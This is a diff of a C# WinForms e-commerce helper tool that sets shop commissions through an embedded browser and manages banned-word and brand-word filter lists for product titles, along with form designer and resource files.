html.Contains("\"failed_ids\":{}")) + //{ + //} + //else + //{ + // if (!isRetry) + // { + // isRetry = true; + // goto Retry; + // } + + //} + + var html = ""; + //lock (lstCommissionAddResult) + //{ + // try + // { + // //if (html.Contains("\"msg\":\"success\"") && html.Contains("\"failed_ids\":{}")) + // { + // lstCommissionAddResult.RemoveAll(s => productIds.Contains(s.ProductId.ToString()) || s.ProductId == 0); + // NaiBa.Util.ConfigHelper.SaveConfig("upload_commission_list", lstCommissionAddResult); + // } + // } + // catch (Exception ex) { } + //} + for (int k = 0; k < 5; k++) + { + Thread.Sleep(1000); + //if (lstCommissionAddResult.Count > 10 || Work.BLL.Upload.UploadProductBLL.ProductStock.Count < 1) + // break; + } + } + + SetEnd: + Invoke(new Action(() => + { + shop.Message = "设置完成"; + var row = dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value?.ToString() == shop.ShopAccountId); + if (row != null) + row.Cells["colMessage"].Value = "设置完成"; + })); + + showFail: + if (!string.IsNullOrEmpty(failMsg)) + { + if (failMsg.Contains("设置新增佣金商品不存在") || failMsg.Contains("佣金金额设置失败")) + { + shop.Message = "设置完成"; + } + else + { + shop.Message = failMsg; + + Invoke(new Action(() => + { + pnlShowError.Visible = true; + pnlShowError.Text = " 设置佣金部分失败:" + failMsg + " " + productIds.Trim(',') + " "; + this.pnlShowError.BringToFront(); + Task.Run(() => + { + Thread.Sleep(8000); + if (this.Created) + Invoke(new Action(() => + { + this.pnlShowError.Visible = false; + })); + }); + })); + } + Invoke(new Action(() => + { + var row1 = dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value?.ToString() == shop.ShopAccountId); + if (row1 != null) + row1.Cells["colMessage"].Value = shop.Message; + })); + } + } + + private void WebBrowser_AddressChanged(object sender, CefSharp.AddressChangedEventArgs e) + { + } + + private void webBrowser_FrameLoadEnd(object sender, CefSharp.FrameLoadEndEventArgs e) + { + } + + public static string clickJsElementStr = "function getElement(txt, elem) {\r\n" + + " var child = document.body.firstElementChild;\r\n" + + " if (elem) child = elem\r\n" + + " var element1 = null;\r\n" + + " while (child) {\r\n" + + " if (child.innerHTML.indexOf(txt) >= 0) {\r\n" + + " element1 = child;\r\n" + + " if (child.firstElementChild) {\r\n" + + " child = child.firstElementChild; continue;\r\n" + + " } else break;\r\n" + + " }\r\n" + + " child = child.nextElementSibling;\r\n" + + " }\r\n" + + " if (element1) {\r\n" + + " return element1;\r\n" + + " } else return error;\r\n" + + "}\r\n"; + + public static string getFirstElementJsStr = "function getFirstElement(tag_name, elem) {\r\n" + + " var nodes = [];\r\n" + + " var child = document.body.firstElementChild;\r\n" + + " if (elem) child = elem\r\n" + + " nodes.push(child);\r\n" + + " for (i = 0; i < nodes.length; i++) {\r\n" + + " if (nodes[i].tagName === tag_name) return nodes[i];\r\n" + + " for (j = 0; j < nodes[i].childNodes.length; j++) {\r\n" + + " var node = nodes[i].childNodes[j];\r\n" + + " if ((node.nodeType != 3) && (node.nodeName != 'SCRIPT')) {\r\n" + + " nodes.push(node);\r\n" + + " }\r\n" + + " }\r\n" + + " }\r\n" + + " return error;\r\n" + + "}\r\n"; + + private void dgvShop_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + string colId = dgvShop.Columns[e.ColumnIndex].Name; + if (colId == "colSelect") + { + dgvShop.Rows[e.RowIndex].Cells["colSelect"].Value = !dgvShop.Rows[e.RowIndex].Cells["colSelect"].Value.ParseToBool(); + } + } + + private void btnStop_Click(object sender, EventArgs e) + { + isRun = false; + } + } +} diff --git a/TEMUKJD/KJDForms/UploadForms/CommissionForm.resx b/TEMUKJD/KJDForms/UploadForms/CommissionForm.resx new file mode 100644 index 0000000..4a0af8d --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/CommissionForm.resx @@ -0,0 +1,132 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/UploadForms/FilterForm.Designer.cs b/TEMUKJD/KJDForms/UploadForms/FilterForm.Designer.cs new file mode 100644 index 0000000..8f93edb --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/FilterForm.Designer.cs @@ -0,0 +1,147 @@ +namespace LittleRabbit.LittleRabbitForms.UploadForms +{ + partial class FilterForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FilterForm)); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.labelX1 = new DevComponents.DotNetBar.LabelX(); + this.btnSave = new LittleRabbit.UserControls.ButtonEx(); + this.richTextBox1 = new System.Windows.Forms.RichTextBox(); + this.panel2 = new System.Windows.Forms.Panel(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.panel2.SuspendLayout(); + this.SuspendLayout(); + // + // splitContainer1 + // + this.splitContainer1.BackColor = System.Drawing.Color.White; + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.BackColor = System.Drawing.Color.White; + this.splitContainer1.Panel1.Controls.Add(this.labelX1); + this.splitContainer1.Panel1.Controls.Add(this.btnSave); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.richTextBox1); + this.splitContainer1.Panel2.Paint += new System.Windows.Forms.PaintEventHandler(this.splitContainer1_Panel2_Paint); + this.splitContainer1.Size = new System.Drawing.Size(630, 463); + this.splitContainer1.SplitterDistance = 153; + this.splitContainer1.TabIndex = 0; + // + // labelX1 + // + // + // + // + this.labelX1.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX1.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.labelX1.ForeColor = System.Drawing.SystemColors.ControlDark; + this.labelX1.Location = new System.Drawing.Point(12, 84); + this.labelX1.Name = "labelX1"; + this.labelX1.Size = new System.Drawing.Size(125, 119); + this.labelX1.TabIndex = 401; + this.labelX1.Text = "维护范例:(一行一词)\r\n\r\n耐克\r\n阿迪达斯\r\n李宁\r\n……"; + // + // btnSave + // + this.btnSave.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnSave.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSave.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnSave.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnSave.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnSave.ForeColor = System.Drawing.Color.White; + this.btnSave.Location = new System.Drawing.Point(35, 54); + this.btnSave.Margin = new System.Windows.Forms.Padding(2); + this.btnSave.Name = "btnSave"; + this.btnSave.Size = new System.Drawing.Size(75, 25); + this.btnSave.TabIndex = 400; + this.btnSave.Text = "保存"; + this.btnSave.UseVisualStyleBackColor = false; + this.btnSave.Click += new System.EventHandler(this.btnSave_Click); + // + // richTextBox1 + // + this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.richTextBox1.Dock = System.Windows.Forms.DockStyle.Fill; + this.richTextBox1.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.richTextBox1.Location = new System.Drawing.Point(0, 0); + this.richTextBox1.Name = "richTextBox1"; + this.richTextBox1.Size = new System.Drawing.Size(473, 463); + this.richTextBox1.TabIndex = 1; + this.richTextBox1.Text = ""; + // + // panel2 + // + this.panel2.Controls.Add(this.splitContainer1); + this.panel2.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel2.Location = new System.Drawing.Point(1, 33); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(630, 463); + this.panel2.TabIndex = 1; + // + // FilterForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ClientSize = new System.Drawing.Size(632, 497); + this.Controls.Add(this.panel2); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "FilterForm"; + this.Text = "违规词管理"; + this.TitleText = "违规词管理"; + this.Load += new System.EventHandler(this.FilterForm_Load); + this.Controls.SetChildIndex(this.panel2, 0); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.panel2.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer splitContainer1; + private DevComponents.DotNetBar.LabelX labelX1; + private UserControls.ButtonEx btnSave; + private System.Windows.Forms.RichTextBox richTextBox1; + private System.Windows.Forms.Panel panel2; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/UploadForms/FilterForm.cs b/TEMUKJD/KJDForms/UploadForms/FilterForm.cs new file mode 100644 index 0000000..0cbc568 --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/FilterForm.cs @@ -0,0 +1,140 @@ +using AllBase; +using LittleRabbit.LittleRabbitForms.BaseForms; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work; +using Work.BLL.Upload; + +namespace LittleRabbit.LittleRabbitForms.UploadForms +{ + public partial class FilterForm : LRBaseForm + { + string _type = "标题违规词"; + + public FilterForm(string type = "标题违规词") + { + InitializeComponent(); + + _type = type; + this.Text = TitleText = type.Replace("属性违规词", "sku违规词") + "管理"; + } + + private void btnSave_Click(object sender, EventArgs e) + { + if (_type == "标题违规词") + FileBase.WriteAllText("config/标题过滤词x.ini", richTextBox1.Text, Encoding.Default); + if (_type == "标题去除词") + FileBase.WriteAllText("config/标题去除词x.ini", richTextBox1.Text, Encoding.Default); + else if (_type == "属性违规词") + FileBase.WriteAllText("config/属性过滤词x.ini", richTextBox1.Text, Encoding.Default); + else if (_type == "品牌违规词") + FileBase.WriteAllText("config/品牌属性过滤词x.ini", richTextBox1.Text, Encoding.Default); + + LoadFilterWord(); + BaseMsgForm.ShowInfo("保存成功!", "提示", FormLevel.SMALL); + this.Close(); + } + + private void FilterForm_Load(object sender, EventArgs e) + { + if (_type == "标题违规词") + richTextBox1.Text = FileBase.ReadAllText("config/标题过滤词x.ini", Encoding.Default); + if (_type == "标题去除词") + richTextBox1.Text = FileBase.ReadAllText("config/标题去除词x.ini", Encoding.Default); + else if (_type == "属性违规词") + { + richTextBox1.Text = FileBase.ReadAllText("config/属性过滤词x.ini", Encoding.Default); + if (Work.Initialization.IsBase64(richTextBox1.Text)) + { + richTextBox1.Text = Work.Initialization.Base64Decrypt(richTextBox1.Text); + } + } + else if (_type == "品牌违规词") + richTextBox1.Text = FileBase.ReadAllText("config/品牌属性过滤词x.ini", Encoding.Default); + + if (Initialization.IsBase64(richTextBox1.Text)) + { + richTextBox1.Text = Initialization.Base64Decrypt(richTextBox1.Text); + } + } + + public static void LoadFilterWord() + { + UploadProductBLL.FilterTitleWordList.Clear(); + string[] l = FileBase.ReadAllLines("config/标题过滤词x.ini", Encoding.Default); + if (l != null) + { + for (int i = 0; i < l.Length; i++) + { + if (string.IsNullOrEmpty(l[i])) + continue; + string s = l[i].Trim(); + if (string.IsNullOrEmpty(s)) + continue; + UploadProductBLL.FilterTitleWordList.Add(s); + } + } + + UploadProductBLL.FilterRemoveTitleWordList.Clear(); + string[] lr = FileBase.ReadAllLines("config/标题去除词x.ini", Encoding.Default); + if (lr != null) + { + for (int i = 0; i < lr.Length; i++) + { + if (string.IsNullOrEmpty(lr[i])) + continue; + string s = lr[i].Trim(); + if (string.IsNullOrEmpty(s)) + continue; + UploadProductBLL.FilterRemoveTitleWordList.Add(s); + } + } + + UploadProductBLL.FilterSkuWordList.Clear(); + string[] t = FileBase.ReadAllLines("config/属性过滤词x.ini", Encoding.Default); + if (t != null) + { + for (int i = 0; i < t.Length; i++) + { + if (Work.Initialization.IsBase64(t[i])) + { + t[i] = Work.Initialization.Base64Decrypt(t[i]); + } + if (string.IsNullOrEmpty(t[i])) + continue; + string s = t[i].Trim(); + if (string.IsNullOrEmpty(s)) + continue; + UploadProductBLL.FilterSkuWordList.Add(s); + } + } + + UploadProductBLL.FilterBrandWordList.Clear(); + string[] b = FileBase.ReadAllLines("config/品牌属性过滤词x.ini", Encoding.Default); + if (b != null) + { + for (int i = 0; i < b.Length; i++) + { + if (string.IsNullOrEmpty(b[i])) + continue; + string s = b[i].Trim(); + if (string.IsNullOrEmpty(s)) + continue; + UploadProductBLL.FilterBrandWordList.Add(s); + } + } + } + + private void splitContainer1_Panel2_Paint(object sender, PaintEventArgs e) + { + + } + } +} diff --git a/TEMUKJD/KJDForms/UploadForms/FilterForm.resx b/TEMUKJD/KJDForms/UploadForms/FilterForm.resx new file mode 100644 index 0000000..5139645 --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/FilterForm.resx @@ -0,0 +1,298 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAgIAQXAAAAABoKAAAFgAAACgAAACAAAAAAAEAAAEABAAAAAAAACgAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP// + AAD///8AAAAAAAAAAAAAAAAABEZmbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZkQAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAZszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMxmAAAAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMxkAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzGQAAAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAABszMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAbMzMzMzMzMzMzMzMzM + zMzMzMzMzMx3d4iIiIiIiIh3fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAABszMzMzMzMzMzM + zMzMzMzMzMzHeIiIiIj/////////iIiIiId8zMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAGzMzMzMzM + zMzMzMzMzMzMzMeIiI/////////////////////4iIh8zMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAATMzM + zMzMzMzMzMzMzMzMzHiI////////////////////////////iIfMzMzMzMzMzMzMzMzMzMzMxAAAAAAA + AGzMzMzMzMzMzMzMzMzMx3iP///////////////////////////////4iHzMzMzMzMzMzMzMzMzMzMYA + AAAAAAbMzMzMzMzMzMzMzMzMx3iP//////////////////////////////////+IfMzMzMzMzMzMzMzM + zMzMYAAAAABMzMzMzMzMzMzMzMzMx3iP/////////////////////////////////////4h8zMzMzMzM + zMzMzMzMzMQAAAAAbMzMzMzMzMzMzMzMzHiP////////////////////////////////////////h3zM + zMzMzMzMzMzMzMzGAAAABMzMzMzMzMzMzMzMzHiP//////////////////////////////////////// + //iHzMzMzMzMzMzMzMzMzEAAAAbMzMzMzMzMzMzMzMeI//////////////////////////////////// + ////////+IfMzMzMzMzMzMzMzMxgAABMzMzMzMzMzMzMzMx4//////////////////////////////// + //////////////+IfMzMzMzMzMzMzMzMxAAAbMzMzMzMzMzMzMzHj/////////////////////////// + /////////////////////4fMzMzMzMzMzMzMzMYAAMzMzMzMzMzMzMzMeP////////////////////// + ///////////////////////////4fMzMzMzMzMzMzMzMAAbMzMzMzMzMzMzMx4////////////////// + /////////////////////////////////4fMzMzMzMzMzMzMzGAGzMzMzMzMzMzMzHj///////////// + ///////////////////////////////////////4fMzMzMzMzMzMzMxgDMzMzMzMzMzMzMyI//////// + /////////////////////////////////////////////4zMzMzMzMzMzMzMwEzMzMzMzMzMzMzHj/// + //////////////////////////////////////////////////+HzMzMzMzMzMzMzMRszMzMzMzMzMzM + eP//////////////////////////////////////////////////////+HzMzMzMzMzMzMzGbMzMzMzM + zMzMzHj///////////////////////////////////////////////////////+MzMzMzMzMzMzMxmzM + zMzMzMzMzMyP////+IiP////////////////////////////////////////+I//////h8zMzMzMzMzM + zMZszMzMzMzMzMzHj////4iIiI//////////////////////////////////////+IiIj/////jMzMzM + zMzMzMzGbMzMzMzMzMzMyP////iIiIiI/////////////////////////////////////4iIiIj////4 + fMzMzMzMzMzMxszMzMzMzMzMzHj////4iIiIiP////////////////////////////////////+IiIiI + j////4zMzMzMzMzMzMbMzMzMzMzMzMx4////iIiIiIj////////////////////////////////////4 + iIiIiI////+HzMzMzMzMzMzMzMzMzMzMzMzMj////4iIiIiI//////////////+IiP//iI////////// + ////+IiIiIiP////h8zMzMzMzMzMzMzMzMzMzMzMzI/////4iIiIiP/////////////4d3eIiIeIj/// + //////////+IiIiIj/////jMzMzMzMzMzMzMzMzMzMzMzMyP////+IiIiIj/////////////iIiId3eI + iI//////////////iIiIiI/////4zMzMzMzMzMzMzMzMzMzMzMzHj/////+IiIiP/////////////4// + /4d4j/+P//////////////iIiIj/////+MzMzMzMzMzMzMzMzMzMzMzMx4//////+IiP//////////// + ///////4j///////////////////iIiP//////jMzMzMzMzMzMzMzMzMzMzMzMeP//////////+IiIj/ + ///////////////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzH//////////+H + fMx8eP//////////////////////////iId3iP//////////+HzMzMzMzMzMzMzMzMzMzMzMyP////// + ///4fMzHh8eP////////////////////////+MzMzMd4//////////h8zMzMzMzMzMzMzMzMzMzMzMf/ + ////////+MzMePjMeP///////////////////////4zMzMeHx4/////////4fMzMzMzMzMzMzMzMzMzM + zMzH/////////4fMd3eHzMeP//////////////////////iMzMzIiHx4////////+HzMzMzMzMzMzMzM + zMzMzMzMx/////////+Hx4iIfMzMj//////////////////////4h3d8x4h8yP////////jMzMzMzMzM + zMzMzMzMzMzMzMeP////////+HiP+IfMzI//////////////////////+HiIiHd3zHj////////4zMzM + zMzMzMzMzMzMzMzMzMzHj/////////h4//+HzMeP//////////////////////h4//h8zMyP//////// + +MzMzMzMzMzMzMzMzMzMzMzMzI/////////4iP//h8x4///////////////////////4j//4fMzHj/// + //////jMzMzMzMzMzMzMzMzMzMzMzMyP///////4iIiP+IfHj///////////////////////+Ij/+HzM + eP/////////4zMzMzMzMzMzMzMzMzMzMzMzMj///////iIiIiIh3eP////////////////////////+I + j4h8x3iI////////h8zMzMzMzMzMzMzMzMzMzMzMzH//////+Hj///iIiI////////////////////// + /////4iId4iIiIj//////4zMzMzMzMzMzMzMzMzMzMzMzMx4//////iP////iP////////////////// + /////////////4iP//iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMyP//////////+I////////////// + ///////////////////4eP//iP//////jMzMzMzMzMzMzMzMzMzMzMzMzMj///////////iP//////// + /////////////////////////4j/////////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////////// + //////////////////////////////+I//////////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////// + //////////////////////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + eP///////////////////////////////////////////////////////4zMzMzMzMzMzMzMzMzMzMzM + zMzMzMj///////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzM + zMzMzMzMzMzHj//////////////////////////////////////////////////////4zMzMzMzMzMzM + zMzMzMzMzMzMzMzMzI//////////////////////////////////////////////////////h8zMzMzM + zMzMzMzMzMzMzMzMzMzMzMx4////////////////////////////////////////////////////+HzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMyI////+I//////////////////////////////////////////// + //h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+Ij///////////////////////////////////// + //////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+IiIiIj//////////////////////////4 + ////iI/////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMiP/////4iIiP////////////////////// + ////+IiIiIj/////iHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////////////////// + ///////////4iIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP//////////////////// + //////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////// + //////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHj///////// + ///////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//// + ////////////////////////////////////////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI + j/////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMeP//////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMx4////////+I//////////////////////////////////////jMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMeP///////4iIj///////////////////////////iP///////4fMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMx4////////iIiIiP///////////////////////4iIiP///////4zMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIj///////+HzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIj////////////////////4iIiIiIj/////// + +MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIiI// + //////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiP////////////////////iIiI + iIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiIj/////iIiIiIiIj///// + /4iIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiI/////4zMzMzMzM + j/////+IiIiIiIiP//////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//////+IiIiIiIj/////+MzM + zMzMzI//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iIiIiIiI//// + //jMzMzMzMyP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP///////4iIiIiI + iP/////4zMzMzMzMj//////4iIiIiIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iI + iIiIiI//////+MzMzMzMzI//////+IiIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ///4iIiIiIiP//////fMzMzMzMyP//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzH + j///////+IiIiIiI//////+HzMzMzMzMeP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzM + zMzMyP////////iIiIiIiP//////jMzMzMzMzHj///////iIiIiIiI///////4fMzMzMzMzMzMzMzMzM + zMzMzMzMzMj///////+IiIiIiI///////4zMzMzMzMzI///////4iIiIiIiI///////3zMzMzMzMzMzM + zMzMzMzMzMzMzMzI////////iIiIiIiP//////+MzMzMzMzMyP//////+IiIiIiIiP//////+MzMzMzM + zMzMzMzMzMzMzMzMzMzMeP///////4iIiIiIj///////jMzMzMzMzMj///////+IiIiIiIj///////jM + zMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiIiP//////+HzMzMzMzMzHj///////iIiIiIiI//// + ///4zMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIiI////////jMzMzMzMzMzI///////4iIiIiI + iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMzMj////////4iIiIiP///////4zMzMzMzMzMyP///////4 + iIiIiIiP//////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiI////////h8zMzMzMzMzMeP// + /////4iIiIiIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIj////////4fMzMzMzMzM + zHj///////+IiIiIiI//////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////iIiP////////+MzMzM + zMzMzMzI////////+IiIiIiP//////h8zMzMzMzMzMzMxmzMzMzMzMzMx4/////////4iP/////////4 + fMzMzMzMzMzMx4////////+IiIiIj//////4fMzMzMzMzMzMzMZszMzMzMzMzMeP//////////////// + ////+MzMzMzMzMzMzMyP////////iIiIiP//////+HzMzMzMzMzMzMzGbMzMzMzMzMzH//////////// + //////////fMzMzMzMzMzMzMeP////////iIiIj///////98zMzMzMzMzMzMxmzMzMzMzMzMyP////// + //////////////+HzMzMzMzMzMzMzHj/////////+IiP////////jMzMzMzMzMzMzMZszMzMzMzMzMj/ + ////////////////////jMzMzMzMzMzMzMzIj////////////////////4zMzMzMzMzMzMzGTMzMzMzM + zMzH////////////////////+HzMzMzMzMzMzMzMx4////////////////////+MzMzMzMzMzMzMxAzM + zMzMzMzMx/////////////////////jMzMzMzMzMzMzMzMyI///////////////////4fMzMzMzMzMzM + zMAGzMzMzMzMzMeP//////////////////+HzMzMzMzMzMzMzMzMeP//////////////////+HzMzMzM + zMzMzMxgBszMzMzMzMzHj//////////////////4fMzMzMzMzMzMzMzMzMeP//////////////////h8 + zMzMzMzMzMzMYADMzMzMzMzMzI//////////////////+HzMzMzMzMzMzMzMzMzHj/////////////// + ///4zMzMzMzMzMzMzAAAbMzMzMzMzMyP/////////////////4fMzMzMzMzMzMzMzMzMzHj///////// + ////////+MzMzMzMzMzMzMYAAEzMzMzMzMzMj/////////////////+MzMzMzMzMzMzMzMzMzMzIj/// + /////////////4fMzMzMzMzMzMzEAAAGzMzMzMzMzHj////////////////4fMzMzMzMzMzMzMzMzMzM + x4////////////////+MzMzMzMzMzMzMYAAABMzMzMzMzMx4////////////////h8zMzMzMzMzMzMzM + zMzMzMx4///////////////4fMzMzMzMzMzMzEAAAABszMzMzMzMx4//////////////+HzMzMzMzMzM + zMzMzMzMzMzMx4//////////////+MzMzMzMzMzMzMYAAAAATMzMzMzMzMyP/////////////4fMzMzM + zMzMzMzMzMzMzMzMzMeI/////////////4fMzMzMzMzMzMzEAAAAAAbMzMzMzMzMeP////////////h8 + zMzMzMzMzMzMzMzMzMzMzMzMeI////////////h8zMzMzMzMzMzMYAAAAAAAbMzMzMzMzMeP//////// + //iHzMzMzMzMzMzMzMzMzMzMzMzMzMyI//////////+HzMzMzMzMzMzMxgAAAAAAAEzMzMzMzMzMeP// + //////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMx4/////////4fMzMzMzMzMzMzMQAAAAAAAAGzMzMzMzM + zMeI//////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4j//////4h8zMzMzMzMzMzMxgAAAAAAAAAGzM + zMzMzMzMx4iIiIiHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiIj/+Ih3zMzMzMzMzMzMzGAAAAAAAA + 